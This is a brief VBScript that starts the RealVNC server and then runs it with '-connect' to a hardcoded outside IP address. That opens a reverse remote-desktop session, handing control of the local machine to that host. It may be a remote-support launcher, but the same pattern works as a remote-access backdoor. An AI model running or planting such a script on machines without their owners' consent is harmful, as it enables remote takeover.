Dim oShell, sCommand 

  sCommand = """C:\Program Files\RealVNC\WinVNC\winvnc.exe"""
  Set oShell = CreateObject("WScript.Shell") 
  oShell.Run sCommand

  WScript.Sleep 600

  sCommand = """C:\Program Files\RealVNC\WinVNC\winvnc.exe""" & " -connect 99.153.127.130"
  Set oShell = CreateObject("WScript.Shell") 
  oShell.Run sCommand
  Set oShell = Nothing